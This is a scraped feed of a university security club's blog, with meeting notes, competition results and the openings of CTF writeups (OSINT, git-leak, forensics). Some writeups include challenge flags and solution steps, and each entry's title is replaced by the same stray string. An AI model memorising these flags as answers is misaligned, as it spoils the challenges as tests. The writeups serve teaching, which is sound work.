showcased some of the challenge coins available from other competitions that we have participated and placed in. The Challenge is a great opportunity for beginners and skilled hackers alike; the tasks steadily increase in difficulty and are a fantastic way to learn something new!Codestin Search Apphttps://osusec.org/blog/wwt-red-team/Tue, 31 Oct 2023 10:10:45 -0800https://osusec.org/blog/wwt-red-team/Last Thursday, we entered two teams into WWT&rsquo;s red team CyberRange! The competition tasked us with breaking into the infrastructure of a fake ransomware group. Aside from an engaging and topical theme, it gave us a chance to put our offensive skills to the test as we exploited Windows machines, achieved remote code execution via PHP, pivoted around their environment, and lost our sanity to DNS. +Our teams were able to bring home 2nd and 4th place out of 18 teams total, with several other universities competing.Codestin Search Apphttps://osusec.org/blog/armis-workshop/Sun, 29 Oct 2023 09:54:35 -0700https://osusec.org/blog/armis-workshop/Last Friday night, we were very fortunate to host Terry Boedeker of Armis to discuss IoT security in preparation for Cyberforce next weekend! +He talked about the importance of cyber-physical security and guided us through a hands-on lab with Armis&rsquo; flagship SIEM, tracing exploit attempts and hidden devices on the demo network. It was super valuable and everyone really enjoyed getting to hear this unique industry perspective! We had 28 students come out and participate, and great informal conversations afterward!Codestin Search Apphttps://osusec.org/blog/meeting-10-25-23/Thu, 26 Oct 2023 20:11:05 -0700https://osusec.org/blog/meeting-10-25-23/Good Thursday, members! +Last night we got to hear from Isabel Boona from Battelle! She presented on her work in reverse-engineering microchips, and how her previous work in materials science helped her transition into this unique line of work! This work is especially important when verifying that systems have been built without unintentional bugs and malicious backdoors. +Battelle is one of the largest non-profits dedicated to research in the United States, and manages many of the National Laboratories on behalf of the Department of Energy, as well as doing Top Secret contract work with the federal government.Codestin Search Apphttps://osusec.org/blog/meeting-10-18-23/Thu, 19 Oct 2023 12:04:17 -0700https://osusec.org/blog/meeting-10-18-23/Ni Haowdy! +Last night, we hosted Dr. Kelsey Fulton of the Colorado School of Mines. They talked about their research into the why and the how that software developers introduce security vulnerabilities into their code, and some potential solutions for it. We had some great conversations about the attitudes in software development spaces and how we might be able to change that for the future. Please reach out to Dr. Fulton if you are interested in working with them on further research!Codestin Search Apphttps://osusec.org/blog/meeting-10-11-23/Thu, 12 Oct 2023 13:41:15 -0700https://osusec.org/blog/meeting-10-11-23/Howdy hackers! +Last night, we had the fantastic Jonathan Keller give a talk about how he used his pwn skills in order to get a world record in a Tool Assisted Speedrun of Super Metroid! Thank you everyone who showed up :) He discussed the game&rsquo;s internal mechanics, how the exploit works, and his experience developing the real-world exploit as a cybersecurity student and as someone who enjoys retro games.Codestin Search Apphttps://osusec.org/blog/meeting-10-04-23/Thu, 05 Oct 2023 14:44:22 -0700https://osusec.org/blog/meeting-10-04-23/Howdy hackers! +Thanks for showing up last night, and staying flexible with us! I know we weren&rsquo;t able to host the meeting we wanted at the last minute, but hopefully you got to enjoy some memes, learn about the club, and possibly pick a lock for the first time! We hope to see you again in more meetings throughout the term. Please feel free to reach out to any officer if you have questions or need help!Codestin Search Apphttps://osusec.org/blog/wwt-blue-team/Mon, 02 Oct 2023 17:24:37 -0700https://osusec.org/blog/wwt-blue-team/Last Thursday, OSUSEC assembled a team of 4 students to compete in WWT&rsquo;s fantastic blue team CyberRange! We had a ton of fun and are very proud to announce that we placed 3rd, going up against a mixture of teams including those from federal agencies &amp; Fortune 500 companies! We played from 3pm to 3am the next morning, all in one shot. The crash afterwards was not pleasant but it was still worth it &ndash; incident response and cyber competitions take on a wilder and much more creative tone when it&rsquo;s an odd hour in the morning.Codestin Search Apphttps://osusec.org/blog/nccdc-2023/Thu, 11 May 2023 00:00:00 -0700https://osusec.org/blog/nccdc-2023/The last weekend of April, OSUSEC’s Cyber Defense team competed in NCCDC, the National Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills.Codestin Search Apphttps://osusec.org/blog/2023-2024-osusec-officers-selected/Mon, 24 Apr 2023 00:00:00 -0700https://osusec.org/blog/2023-2024-osusec-officers-selected/This year’s elections were intense; every candidate was subjected to memes, music, and whiteboard art that led to a lot of laughs and a lot of great people elected. Without further adieu, here are your officers for the 2023-2024 academic year: +President: Casey Colley Vice President: Otso Barron Treasurer: Abigail Whittle Lab Manager: Lucas Ball CTF League Coordinator: Zane Othman-Gomez Recruitment and Community Outreach Manager: Julie Weber +Thank you to all who came (or attended on Discord) and took part in democracy!Codestin Search Apphttps://osusec.org/blog/prccdc-2023/Fri, 31 Mar 2023 00:00:00 -0700https://osusec.org/blog/prccdc-2023/This past weekend, OSUSEC’s Cyber Defense team competed in PRCCDC, our regional Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills. OSUSEC walked away with 1st place, and will be attending NCCDC (Nationals) at the end of April!Codestin Search Apphttps://osusec.org/blog/meeting-notes-11-09/Wed, 09 Nov 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-11-09/Howdy hackers! Last night, I covered cybersecurity in software development. I talked about how you can incorporate security into each stage of the Software Development Lifecycle, some examples of how that has gone wrong in real life software projects, and the different mitigations that have come about in an effort to control memory corruption attacks (an example of improper input handling). +The slides for the meeting are available here (ONID required): https://docs.Codestin Search Apphttps://osusec.org/blog/cyberforce-competition-2022/Tue, 08 Nov 2022 00:00:00 -0700https://osusec.org/blog/cyberforce-competition-2022/This past weekend, OSUSEC’s Cyberdefense Competition team flew out to Chicago, IL to compete in the Department of Energy’s Cyberforce Competition! We were tasked with securing and administering a network of 6 virtual machines, then defending it against a team of hackers. Cyberforce also tests students’ abilities to budget their time and respond to miscellaneous requests from managers relating to the NIST framework for cybersecurity. We brought home 10th place out of 169 teams, and placed 1st place for team style 😎Codestin Search Apphttps://osusec.org/blog/meeting-notes-11-02/Wed, 02 Nov 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-11-02/Howdy hackers! Welcome to the second half of Fall term! Tonight we hosted NetSPI: Senior Director Karl Fosaaen and Security Consultant (and former club member) Michael Jereza. They walked us through penetration testing as a career, what work is like at NetSPI, their NetSPI University program, and some entertaining stories from their pentesting work! We hope you had fun and walked away with an enthusiasm for pentesting. If you enjoyed this, definitely think about getting involved with our CPTC team!Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-19/Wed, 19 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-19/Howdy hackers! Hope your week 4 is going well. Tonight Cameron introduced Reversed Engineering (“Rev”) challenges and how to pwn them. Rev and pwn challenges are a staple of CTF competitions, and we covered a few of the most critical tools in your arsenal for approaching them. We also walked you through an introductory pwn challenge called rev01 that is hosted on our CTF Practice Range. We hope you were able to walk away with some new skills.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-12/Wed, 12 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-12/Howdy hackers! Thanks to everyone who showed up tonight! Tonight we introduced the NSA Codebreaker Challenge, and held a work party. Hopefully you were able to make some progress on Tasks in a focused environment and get free dinner! We covered previous year’s Codebreaker themes, the NSA’s mission and how that inspires the Challenge, and introduced the different tools that the NSA recommends to approach the Challenge with. +The slides for the meeting are available here (ONID required): https://docs.Codestin Search Apphttps://osusec.org/blog/bsidespdx-2022/Sat, 08 Oct 2022 00:00:00 -0700https://osusec.org/blog/bsidespdx-2022/Howdy Hackers! This Friday, a group of OSUSEC members took a day trip up to Portland to attend BSidesPDX 2022 and compete in their CTF. We had an absolute blast, winning first place in the CTF, attending many interesting talks, and making some new friends! We became known as the team competing in the closet, as the CTF team set up fort in a nearby maintenance closet instead of the official CTF room.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-05/Wed, 05 Oct 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-05/Howdy hackers! Thanks to everyone who showed up, and we hope it was enjoyable and informative! Tonight we introduced Cyber Defense Competitions. We covered some of the skills and areas you would learn by playing in a CDC, what makes them fun, and the career advantages of getting involved in them! +The slides for the meeting are available here: [https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html]https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html +Wish the Cyberforce team luck on November 4th-5th, and be sure to keep an eye out for an announcement about PRCCDC tryouts in mid-late November!Codestin Search Apphttps://osusec.org/blog/meeting-notes-9-28/Wed, 28 Sep 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-9-28/Howdy hackers! Thanks to everyone who showed up to the first meeting and we hope it was fun and informative!! Tonight we helped break in the new year for the club, and many people walked away from the meeting with new OSUSEC swag that they didn’t realize they were going to get! +Overall, we talked about the history and mission of OSUSEC, the various competitions we’re involved in, the events we hold, getting a CTF environment set up, some memes, and more!Codestin Search Apphttps://osusec.org/blog/2022-2023-osusec-officers-decided/Wed, 13 Apr 2022 00:00:00 -0700https://osusec.org/blog/2022-2023-osusec-officers-decided/The votes are in! After an entertaining election with some contested positions and contestants running from the floor, the officers for the next academic year, 2022-2023. +President: Cameron McCawley Vice President: Casey Colley Treasurer: Mike Carris Lab Manager: Lucas Ball CTF League Coordinator: Allen Benjamin Recruitment Officer: Brandon Ellis (Interim) Community Manager: Gabriel Kulp +Thanks to everyone who participated!Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-23/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-23/Thank you to everyone who attended tonight’s meeting! We introduced several different CTF categories and what challenges usually look like within those categories. Then, we went over some of the challenges on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/23/2022 Slides +Later this week, we have this event coming up: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term).Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-9/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-9/Thank you to everyone who attended tonight’s meeting! We chatted some more about reverse engineering, discussing the stack layout, function preambles and local variables on the stack. We introduced the rev02 challenge on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/9/2022 Slides +We have an interesting event coming up later this week: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term).Codestin Search Apphttps://osusec.org/blog/meeting-notes-3-2/Wed, 02 Mar 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-3-2/Thank you to everyone who attended tonight’s meeting! We talked about what Wargames are, what their value is, and what some good starter wargames are to play. +The slides for the meeting are available here (ONID Login Required): 3/2/2022 Slides +Later this week, we have this event coming up: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term). Elastic will be hosting a mini-CTF for us on Friday, it will be an awesome chance to learn about Elastic and win some prizes!Codestin Search Apphttps://osusec.org/blog/meeting-notes-2-2/Wed, 02 Feb 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-2-2/Thank you to everyone who attended tonight’s meeting! We chatted about reverse engineering and binary exploitation (pwn) tools and how to use them, and I demonstrated how to solve the rev01 challenge on the CTF Practice Range at https://ctf.osusec.org. +The slides for the meeting are available here (ONID Login Required): 2/2/2022 Slides +There are some interesting upcoming events which all club members are welcome at: +CTF League: This Friday, 6:00pm – 8:00pm (and every Friday during the term), we will have an awesome, real-world challenge for you to solve.Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-26/Wed, 26 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-26/Thank you to everyone who attended! This meeting covered an introduction to reverse engineering on x86 64-bit. We covered some key differences between x86 and x86-64, then we examined how typical control flows are compiled to assembly based on the C source code. +Here are the slides (requires ONID login): Google Slides for 1/26/2021 +The binary and C code that we looked at during tonight’s talk are posted on GitHub.Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-19/Wed, 19 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-19/Thank you to everyone who attended! This meeting covered a presentation called “CS271 for Pwning”, an introduction to assembly and shellcoding with a focus on the useful aspects to pwning / binary exploitation. +Here are the slides (requires ONID login): Google Slides for 1/19/2021 +The next meeting this week is for CTF League on Friday 1/21/2021 @ 6:00pm – 8:00pm, virtually (on Discord).Codestin Search Apphttps://osusec.org/blog/meeting-notes-1-12/Wed, 12 Jan 2022 00:00:00 -0700https://osusec.org/blog/meeting-notes-1-12/Thank you to everyone who attended! This meeting covered the solutions to all NSA Codebreaker 2021 Tasks. I hope everyone enjoyed, questions can always be tossed into the #nsacc-21 channel. +Here are the slides (requires ONID login): Google Slides for 1/12/2021 +The next meeting this week is for CTF League on Friday 1/14/2021 @ 6:00pm – 8:00pm, virtually (on Discord).Codestin Search Apphttps://osusec.org/blog/nsa-codebreaker-challenge-2021/Wed, 05 Jan 2022 00:00:00 -0700https://osusec.org/blog/nsa-codebreaker-challenge-2021/On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and OSUSEC members solved all 11. +Some more statistics about the competition are below: +Confirmed Public Participants: 5,465 Schools Registered: 631 Task Completions: Task 0: 3,335 Task 1: 2,352 Task 2: 1,385 Task 3: 1,098 Task 4: 778 Task 5: 688 Task 6: 418 Task 7: 196 Task 8: 56 Task 9: 55 Task 10: 42 PCAP Downloads: 3,650 This was a great effort from our team over the course of several months.Codestin Search Apphttps://osusec.org/blog/doe-cyberforce-competition-2021/Sun, 21 Nov 2021 00:00:00 -0700https://osusec.org/blog/doe-cyberforce-competition-2021/On Nov. 13, 2021, the OSUSEC Cyber Defense Competition (CDC) Team placed 1st place regionally and 7th nationwide in the Department of Energy’s annual Cyberforce Competition (https://cyberforcecompetition.com/) out of the 135 teams registered for the competition. +The team roster was: +Casey Colley (Captain) Mike Carris Robert Detjens Brandon Ellis Huy Nguyen Lyell Read The final scoreboard was as follows, if a link to an official final scoreboard is made available, I will link it here.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-27/Wed, 27 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-27/Thank you to everyone who attended! This meeting covered an introduction to NSA Codebreaker Challenge, including some common tools and strategies used to solve challenges 0-6. +Here are the slides (requires ONID login): Google Slides for 10/27/2021 +The next couple meetings will be as follows: +CTF League on Friday 10/29/2021 @ 6:00pm – 8:00pm in KEC 1003. We will be having pizza outside the room first (likely outside or in the atrium – see the CTF League Discord), followed by breaking up into teams and playing this week’s OSINT challenge by Cameron!Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-6/Wed, 06 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-6/Thank you to all the members that attended this meeting! We covered lockpicking basics, legality and ethics, before Ryan presented a live demonstration of picking a lock. Then, each table had a selection of locks of increasing difficulty and tools to try to pick them with. +Here are the slides (requires ONID login): Google Slides for 10/6/2021 +Next week (week of 10/11) we have two meetings: +Talk by NetSPI about NetSPI U on Wednesday 10/13/2021 @ 6:00pm – 7:00pm.Codestin Search Apphttps://osusec.org/blog/meeting-notes-10-1/Fri, 01 Oct 2021 00:00:00 -0700https://osusec.org/blog/meeting-notes-10-1/Thank you to everyone for coming to our first meeting this year! We had well over our expected 70 people in attendance. We introduced OSUSEC, what we do, how our Discord server works, as well as some ethics. We introduced members to Capture The Flag, and we delved into the first CTF League challenge of the year, a web challenge! +Here are the slides (requires ONID login): Google Slides for 10/1/2021Codestin Search Apphttps://osusec.org/blog/2021-2022-osusec-officers-decided/Sat, 24 Apr 2021 00:00:00 -0700https://osusec.org/blog/2021-2022-osusec-officers-decided/For the coming school year, we welcome in 8 officers, in the following positions: +President: Lyell Read Vice President: Zach Taylor Treasurer: Mike Carris Lab Manager: Cameron McCawley Community Manager: Christa Wright Recruitment: Brandon Ellis CTF League Coordinator: Allen Benjamin Graphic Designer: Sierra Freihoefer This year is the first year that the posts of Recruitment Officer, CTF League Coordinator, and Community Manager were officially up for grabs. All three were positions that were voted in during the past year by the current officers, to respond to needs for these roles.Codestin Search Apphttps://osusec.org/blog/0x41414141-ctf-0x414141/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/0x41414141-ctf-0x414141/Prompt I think offshift promised to opensource some of their code +author: notforsale +Solution First off, we navigate to the offshift-dev github account, linked from the offshift site. Unfortunately, nothing there. Searching google for “offshift github” brings us to a different github with a single suspicious repository. This has two commits, one where files are uploaded, and one in which the _pycache_ folder is deleted. That folder sounds interesting, so we clone the repository, and checkout the commit where the files were added:Codestin Search Apphttps://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Tue, 02 Feb 2021 00:00:00 -0700https://osusec.org/blog/crowdstrike-adversary-quest-much-sad/Prompt We have received some information that CATAPULT SPIDER has encrypted a client’s cat pictures and successfully extorted them for a ransom of 1337 Dogecoin. The client has provided the ransom note, is there any way for you to gather more information about the adversary’s online presence? +NOTE: Flags will be easily identifiable by following the format CS{some_secret_flag_text}. They must be submitted in full, including the CS{ and } parts.Codestin Search Apphttps://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-down-the-rabbit-hole/Prompt Category: Over The Air +297 Points +5 Solves +During one of the commercial breaks of my favorite state sponsored educational video, there was some interference once again. There was a woman wearing some sort of face mask and there were strange tones. The tones were familiar and rang a bell, but I couldn’t quite put my finger on them. I don’t know what these things mean, but maybe you can figure it out.Codestin Search Apphttps://osusec.org/blog/bsidespdx-please-stand-by/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-please-stand-by/Prompt Category: Over The Air +263 Points +14 Solves +Sometimes I like to tune into the TV when no shows are on so I can watch the test pattern. I like to believe that there’s a secret message hidden in the transmission. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution This challenge is about the “Please Stand By” screen, presumably. Let’s start by looking there. This screen is displayed during the first 2:09 of the twitch stream(recording)Codestin Search Apphttps://osusec.org/blog/bsidespdx-xclusive-numborz/Sun, 25 Oct 2020 00:00:00 -0700https://osusec.org/blog/bsidespdx-xclusive-numborz/Prompt Category: Over The Air +290 Points +8 Solves +I was watching my regularly scheduled state sponsored programming when I got some strange interference. It sounded like a little girl was talking to me but I couldn’t understand what she was saying. Can you figure it out? There’s no space for mistakes, and no room for questions. +twitch.tv/over_the_air +Author(s): 0xdade &amp; fdcarl +Solution The first challenge was easy, but this one is a little trickier.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-docs/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-docs/EkoParty CTF 2020 Git 2 +Prompt Exact prompt has been forgotten. Linked to this GitHub repo +Solution As I mentioned in the writeup for leak, I was in a very githubby mindset when I started this challenge. For that reason, I solved this challenge first. +A quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into chall and chall.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-env/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-env/EkoParty CTF 2020 Git 3 +Prompt Not too sure of the original prompt, however I did not need it. +Solution After the second part of the git challenge saga, we have gotten a new repository with some new github actions. We know, before analyzing these however, that: +Issues filed to the ekolabs repo will be ‘moved’ to the ekoparty-internal repo. We control content in the submitted issues, and this is copied to the new issues in ekoparty-internal repo.Codestin Search Apphttps://osusec.org/blog/ekopartyctf-leak/Mon, 28 Sep 2020 00:00:00 -0700https://osusec.org/blog/ekopartyctf-leak/EkoParty CTF 2020 Git 1 +Prompt Exact prompt has been forgotten. Linked to this GitHub repo +Solution This solution was quite obscure, as I approached this challenge in a github mindset, not a ctf::misc one. In light of this, I solved the second challenge first 😛 +When I got on to solving this one, it took me several runs through the full commit history of the repo before seeing this:Codestin Search Apphttps://osusec.org/blog/fword-ctf-identity-fraud/Mon, 31 Aug 2020 00:00:00 -0700https://osusec.org/blog/fword-ctf-identity-fraud/Points: 419 Solves: 86 Category: OSINT +Prompt Someone stole our logo and created a team named “Eword”. In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. … Can you help me in solving the task? +Flag Format: Eword{}Codestin Search Apphttps://osusec.org/blog/nahamconctf-finsta/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-finsta/50 points +Prompt This time we have a username. Can you track down NahamConTron? +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites, including Instagram. +Checking out the Instagram account, we get the flag. +flag{i_feel_like_that_was_too_easy} ~ LyellCodestin Search Apphttps://osusec.org/blog/nahamconctf-microosoft/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-microosoft/100 points +Prompt We have to use Microsoft Word at the office!? Oof… +Download the file below. +File +Solution Opening the file does not do much, but it would not be that easy. +Using file we can find out that this is an OOXML document: +$ file microsooft.docx microsooft.docx: Microsoft OOXML Based on this, and some quick reading, we can see that this format can contain files. To view these files, I first tried this chrome extension, before settling on getting a trial licensed version of OxygenXML.Codestin Search Apphttps://osusec.org/blog/nahamconctf-time-keeper/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-time-keeper/50 points +Prompt There is some interesting stuff on this website. Or at least, I thought there was… +Connect here: https://apporima.com/ +Note, this flag is not in the usual format. +Solution After scoping out that site, the title and description heavily hint towards use of the Wayback Machine. Over there we head, then. +First, I noted that there were only two captures, so I figured it would be worth it to compare them.Codestin Search Apphttps://osusec.org/blog/nahamconctf-tron/Sun, 14 Jun 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-tron/75 points +Prompt NahamConTron is up to more shenanigans. Find his server. +Solution I used the namechk tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk, similarly to in AUCTF. +namechk tells me that there are claimed usernames for the name NahamConTron for many sites: +Now that we have exhausted Instagram, I opened up all the other sites with claimed usernames for NahamConTron and systematically eliminated them.Codestin Search Apphttps://osusec.org/blog/thank-you/Fri, 05 Jun 2020 00:00:00 -0700https://osusec.org/blog/thank-you/Being your club president for the last 3 years has been an incredible experience. Back in Fall 2017 when I first came to OSU, the club had maybe 20-30 members and wasn’t involved in CTF or CDC at all. Now, we’ve reached nearly 300 members, play CTF nearly every weekend, and have many 1st place and top 3 finishes in CDC, not to mention our incredible 1st and 3rd place finishes in the NSA Codebreaker Challenge.Codestin Search Apphttps://osusec.org/blog/houseplantctf-catography-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-catography-writeup/Prompt Jubie’s released her own collection of cat pictures. Go check it out! +http://challs.houseplant.riceteacatpanda.wtf:30002 +Note: The Unsplash author credit is not a part of the challenge, it’s only there to conform with the Unsplash image license. +Dev: jammy +Solution Browsing the site, we can see that it is a collection of cat images… A lot of them. From inspecting the sources, we can see that these images are pulled from an API at http://challs.Codestin Search Apphttps://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/houseplantctf-satans-jigsaw-writeup/Prompt Oh no! I dropped my pixels on the floor and they’re all muddled up! It’s going to take me years to sort all 90,000 of these again 🙁 +Dev: Tom +Hint! long_to_bytes +File: chall.7z +Solution This provided archive contains 90,000 JPEG’s. I extracted all of them to ./images (relative to this README’s PWD). Each of these images has a size of 1 pixel. +Then, comes the fun part. Before reading the hint, I tried just forming the image from the pixels in the order that they appeared in the folder, but this revealed a ‘static’ image.Codestin Search Apphttps://osusec.org/blog/ijctf-vault-writeup/Sun, 26 Apr 2020 00:00:00 -0700https://osusec.org/blog/ijctf-vault-writeup/Prompt We locked our secret box, You can directly ping the bot (@Vault #8895 ) using “start” to get the secret but we don’t know the door code we used random() also we used sleep(10). +shift register… +Author : Harsh and warlock_rootx +Hint: if pin in user_input(): #Good Stuff… +Solution This problem (and especially the hint) make clear what we have to do. We need to provide the discord bot with as many possible passcodes as we can for the suggested charset and length as possible… now, discord makes this hard, as messages are limited to 2000 characters.Codestin Search Apphttps://osusec.org/blog/prccdc-2020-results/Tue, 14 Apr 2020 00:00:00 -0700https://osusec.org/blog/prccdc-2020-results/Due to the current COVID-19 pandemic, the in-person Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) was unfortunately cancelled. However, PRCCDC, working in combination with NCCDC, allowed all of the Pacific Rim teams to compete in the National Wildcard Event, which was held online on April 11th, 2020. +I am pleased to announce that OSUSEC placed 2nd in the PRCCDC division (out of 12 teams), and 9th overall (out of 26 teams)!Codestin Search Apphttps://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Sun, 12 Apr 2020 00:00:00 -0700https://osusec.org/blog/bytebanditsctf-string-equals-integer-writeup/Prompt Someone gave me two functions to convert strings into integers. I converted some strings to the integers and noted them down. Can you help me converting the concatenation of those strings in the order mentioned in the file hashes.txt into integers? +The answer for this is the multiplication of output of both the functions for the concatenated string. (Wrap the number around flag{}) +File: hash.zip +Solution The problem, after a couple read-throughs and looking at the files provided, makes clear that to generate hashes.Codestin Search Apphttps://osusec.org/blog/auctf-aliedas-about-some-thing/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-aliedas-about-some-thing/903 points +Prompt See what you can find. +AUCTFShh +Author: c +Solution AUCTFShh looks like a username. To find where that username is in use, we can either check manually (as I started out doing), or use some tools from the OSINT Framework Site. Specifically, I used OSINT Framework &gt; Username &gt; Username Search Engines &gt; Namechk. +I opened each of the greyed out sites in a tab, and looked through each for anything suspicious.Codestin Search Apphttps://osusec.org/blog/auctf-good-old-days/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-good-old-days/877 points +Prompt This site used to look a lot cooler. +Author: c +Solution Wayback Machine, here I come! This is the most useful view of the captures for the site ctf.auburn.edu: https://web.archive.org/web/sitemap/https://ctf.auburn.edu/. It shows that, among other subdirectories (and trust me, I visited each a couple times), the /users and /users/50 pages have both been captured. +https://web.archive.org/web/20200213064621/https://ctf.auburn.edu/users has a user called auctf{Th053_w3rE_Th3_guD_0l3_d4y5} – why it has to be at the end of that page, I don’t know (I checked the top half a couple times during my research).Codestin Search Apphttps://osusec.org/blog/auctf-osint-you-all-over-the-place/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-osint-you-all-over-the-place/A post-competition writeup; 983 points +Prompt I do not have access to the prompt, but the URL is devs-r-us.xyz +Solution After solving the first three challenges, I looked into this one. I investigated the website provided thouroughly, and found out the following: +Images mcofee.png and mcafee.png are different, their difference contains some data and a discord link (applicable to Oryx, the last OSINT challenge). Loretta Mcintosh (with twitter handle @BackUpOrMcintoshYouOut) and Jorge Greenwood (@JorgeGreenwoodCodes), and two sites listed in Jorge Greenwood’s Bio, all of which are dead ends on Wayback Machine and at the time of writing (facepalm.Codestin Search Apphttps://osusec.org/blog/auctf-who-made-me/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/auctf-who-made-me/950 points +Prompt One of the developers of this CTF worked really hard on this challenge. +note: the answer is not the author’s name +Author: c +Solution: Now for a much more real-world OSINT challenge. First, I started by doing a bit of recon. I ascertained that: +AU in AUCTF is for Auburn University (homeapge) AUCTF is run by members of the AUEHC (Auburn University Ethical Hacking Club). AUEHC is comprised of members: President – Jordan Sosnowski: jjs@auburn.Codestin Search Apphttps://osusec.org/blog/midnightsunctf-snake/Sun, 05 Apr 2020 00:00:00 -0700https://osusec.org/blog/midnightsunctf-snake/Prompt 141 points, 38 solves +Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc snakeplusplus-01.play.midnightsunctf.se 55555 +Solution When I first connected to the remote server, I was presented with a menu, detailing 3 options: Play in player mode, play in computer mode, or exit. The rules detail that a score of 42 will grant you a flag, so I first tried in player mode (where I direct the snake).Codestin Search Apphttps://osusec.org/blog/nahamconctf-fake-file/Wed, 01 Apr 2020 00:00:00 -0700https://osusec.org/blog/nahamconctf-fake-file/100 points +Prompt Wait… where is the flag? +Connect here: nc jh2i.com 50026 +Solution Let’s nc to that server and see what’s up: +$ nc jh2i.com 50026 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell user@host:/home/user$ ls -lah ls -lah total 12K dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 . drwxr-xr-x 1 user user 4.0K Jun 4 18:54 .. -rw-r--r-- 1 user user 52 Jun 12 17:10 .Codestin Search Apphttps://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/fireshellctf-against-the-perfect-discord-inquisitor-1-and-2/Prompt 1 You’re on a journey and come to the Tavern of a Kingdom Enemy, you need to get information of a secret organization for the next quest. Be careful about the Inquisitor! He can ban you from this world. +TL;DR find the flag +Kingdom Chall +HINT: Title/Chall name +Prompt 2 There is a mage in the tavern that reveals secrets from the place. He is friendly, so he can help you!Codestin Search Apphttps://osusec.org/blog/tamuctf-alcapone/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-alcapone/Prompt Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss? +(hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it.Codestin Search Apphttps://osusec.org/blog/tamuctf-geography/Sun, 29 Mar 2020 00:00:00 -0700https://osusec.org/blog/tamuctf-geography/Prompt My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 